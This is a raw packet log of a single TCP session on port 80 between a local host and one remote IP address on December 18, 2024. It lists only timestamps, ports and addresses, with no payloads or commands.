Dec 18, 2024 12:00:17.876403093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.876445055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.876617908 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.878412962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.878473043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.878509998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.878645897 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.880522966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.880578041 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.880669117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.880727053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.882658958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.882709026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.882733107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.882766008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.884728909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.884807110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.884838104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.884896040 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.886934996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.887006044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.887049913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.887101889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.888902903 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.888971090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.889017105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.889154911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.891052008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.891103983 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.891107082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.891176939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.893062115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.893127918 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.893163919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.893450022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.895210981 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.895332098 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.895517111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.897280931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.897474051 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.897531986 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.897567034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.899385929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.899485111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.899494886 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.899693966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.901473999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.901550055 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.901623011 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.901731968 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.903552055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.903616905 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.903665066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.903743982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.905688047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.905778885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.905786037 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.905837059 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.907803059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.908118010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.909126043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.909837961 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.909956932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.910007954 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.911932945 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.912117004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.912216902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.914016962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.914138079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.916184902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.916239977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.916270018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.916496992 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.918229103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.918273926 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.918361902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.918361902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.920332909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.920399904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.920589924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.922394991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.922483921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.924479008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.924537897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.924591064 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.924665928 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.924860954 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.926630974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.926706076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.928710938 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.928730965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.928767920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.928828001 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.928885937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.930784941 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.930955887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.932681084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.932887077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.932997942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.933042049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.934973955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.935117960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.935170889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.937242031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.937264919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.937808990 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.939212084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.939532042 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.940606117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.941272974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.941320896 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.941350937 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.942171097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.943413973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.943480968 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.943511009 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.943540096 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.945442915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.945549965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.947614908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.947644949 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.947674036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.947752953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.949135065 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.949898958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.949976921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.951756954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.951822996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.951829910 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.951870918 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.953846931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.953960896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.955939054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.955996037 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.956027985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.956460953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.958039999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.958085060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.958089113 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.958133936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.960203886 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.960267067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.961118937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.962244987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.962376118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.962379932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.963361979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.964364052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.964549065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.964591980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.971191883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.971293926 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.972230911 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.972280979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.972362995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.973165035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.974340916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.974421978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.974467039 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.976464033 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.976593018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.976617098 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.976634979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.978502035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.978626966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.978630066 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.978665113 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.980659008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.980762005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.981122971 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.982728004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.982786894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.982809067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.982872009 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.984832048 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.984946966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.984978914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.985012054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.986972094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.987179041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.989062071 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.989125967 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.989227057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.990967035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.991170883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.991226912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.991240025 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.991331100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.993495941 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.993549109 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.993594885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.995362997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.995419979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.995527983 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.995803118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.997405052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.997448921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.999273062 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:17.999553919 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.999604940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:17.999658108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.001650095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.001724958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.003532887 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.003684998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.003742933 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.004029036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.005162954 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.005772114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.005881071 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.005954027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.007872105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.007965088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.008033037 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.009967089 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.010025978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.010085106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.012079000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.012149096 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.012228012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.013144016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.014178991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.014282942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.014341116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.016264915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.016355991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.016390085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.017146111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.018363953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.018517017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.018573046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.020711899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.021066904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.021126032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.022628069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.022686958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.022746086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.024656057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.024761915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.024825096 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.026727915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.026789904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.027915001 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.028877974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.029079914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.029145956 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.059307098 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.059447050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.060209036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.060249090 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.060267925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.060307026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.062026978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.062185049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.063836098 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.063893080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.063906908 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.063993931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.064280987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.065709114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.065757990 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.065774918 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.067140102 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.067451000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.067512989 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.067538977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.067588091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.069175959 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.069261074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.069273949 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.069434881 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.070983887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.071059942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.071136951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.072690964 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.072809935 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.072817087 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.072875023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.074387074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.074579954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.076056957 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.076128006 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.076153994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.076205015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.077712059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.077794075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.078118086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.079345942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.079411030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.079456091 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.079519033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.080966949 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.081034899 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.081101894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.082639933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.082690954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.082746029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.084253073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.084353924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.084415913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.085804939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.085943937 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.087392092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.087476969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.087584972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.088690042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.089128017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.089267969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.089337111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.090528965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.090574980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.090637922 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.092144966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.092201948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.092235088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.093161106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.093734980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.093791008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.093837976 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.093871117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.095262051 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.095371008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.095989943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.096067905 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.117268085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.117290974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.117393017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.117490053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.117518902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.117578983 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.118530989 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.118568897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.118633032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.119024038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.119060993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.119122028 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.119512081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.119579077 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.119601011 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.119648933 CET	49913	80	192.168.2.6	185.215.113.17
